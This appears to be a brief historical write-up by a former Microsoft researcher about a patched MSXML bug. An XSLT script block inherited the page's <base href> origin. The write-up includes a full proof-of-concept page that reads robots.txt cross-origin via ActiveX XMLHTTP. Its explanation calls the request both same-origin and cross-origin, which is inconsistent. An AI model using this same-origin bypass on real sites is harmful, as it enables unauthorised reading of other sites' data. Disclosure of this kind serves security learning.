This one surprised me. MSXML’s XSLT <xsl:script> block ran with the origin of the page’s <base href>, not the actual page origin. By setting a <base href> to a target domain and embedding script in a stylesheet, a page could make XMLHttpRequest calls that the browser treated as same-origin to the base URL.
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<base href="http://www.google.com.ar/" />
<body>
<script language="JavaScript">
oXML = new Object();
oXML.xml = new ActiveXObject("MSXML2.DOMDocument.3.0");
oXML.xml.loadXML("<xmltag>xmlText</xmltag>");
oXML.xsl = new ActiveXObject("MSXML2.DOMDocument.3.0");
oXML.xsl.async = false;
oXML.xsl.loadXML('<xsl:stylesheet xmlns:xsl="http://www.w3.org/TR/WD-xsl"><xsl:script><![CDATA[obj = new ActiveXObject("htmlFile");oXML = new ActiveXObject("Microsoft.XMLHTTP");oXML.open("GET", "robots.txt", false);oXML.send(null);obj.parentWindow.alert(oXML.responseText);]]></xsl:script></xsl:stylesheet>');
oXML.xml.transformNode(oXML.xsl);
</script>
</body>
</html>The inline XSLT script block created an htmlFile ActiveX and used Microsoft.XMLHTTP to fetch robots.txt from the base href origin (google.com.ar). Because MSXML resolved relative URLs against the stylesheet’s context, and because the base href had been set to google.com.ar, the request was treated as cross-origin but permitted. The response was then displayed via alert. This was an interesting intersection of legacy XSLT scripting and the browser’s base href handling.
Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.